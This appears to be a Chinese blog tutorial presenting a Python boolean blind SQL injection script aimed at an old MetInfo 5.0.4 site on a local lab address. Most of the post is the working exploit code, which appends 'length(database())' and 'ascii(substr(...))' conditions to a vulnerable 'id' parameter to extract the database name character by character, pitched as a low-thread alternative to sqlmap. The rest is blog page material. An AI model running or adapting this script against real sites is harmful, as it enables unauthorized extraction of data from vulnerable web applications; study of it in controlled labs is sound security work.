构造exp-Python盲注脚本

0x00 搭建环境介绍

平常的盲注如果手工会很麻烦,多数情况都会借助sqlmap等相关软件跑,但是有些情况下,考虑到sqlmap的线程以及其他情况,会造成其他的影响,这里我们来简单使用python构造一个盲注脚本,低线程,高效率。

利用到metinfo老版本平台,平台中集合多种漏洞,本次实验实验python构造盲注exp,实现注入
环境介绍

手工注入测试:
存在注入

0x01 利用python构造exp-盲注脚本

import requests

def get_html(url):
    "我的功能判断页面内容是否包含关键字,来判断传递参数是否为条件成立"
    res = requests.get(url)
    if "88888888" in res.text:#返回特殊关键字
        return True
    else:
        return False


def get_databaseNL(url):
    "我的作用获取数据库名字长度"
    for num in range(1, 11):#判断数据库长度
        getinfo = " and length(database())=%s --+" % num#构造语句
        fullurl = url + getinfo#拼接完整的语句
        if get_html(fullurl):#如果页面返回值为真
            break#则停止
    return num#返回数据库长度


def get_databaseName(url,num):
    "我的作用是获取数据库名"
    dbname = ""
    for i in range(1,num+1):#构造循环
        for j in range(1,123):#ascii表字符
            getinfo = " and ascii(substr(database(),%s,1))=%s --+" %(i,j)
            fullurl = url+getinfo#拼接语句
            if get_html(fullurl):
                dbname += chr(j)
                #print(chr(j))
                break
    return dbname


if __name__ == "__main__":
    url = "http://192.168.2.4/metinfov504/metinfov504/about/show.php?lang=cn&id=22"#请求地址
    #headers = {
        #"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"}  # 第二步添加头部信息
    num = get_databaseNL(url)
     #params = {"id":"1' and length(database())=8 --+"}  #第三步添加参数信息
     #print(get_html())
    dbname = get_databaseName(url,num)
    print(dbname)

运行结果

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

告白热

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值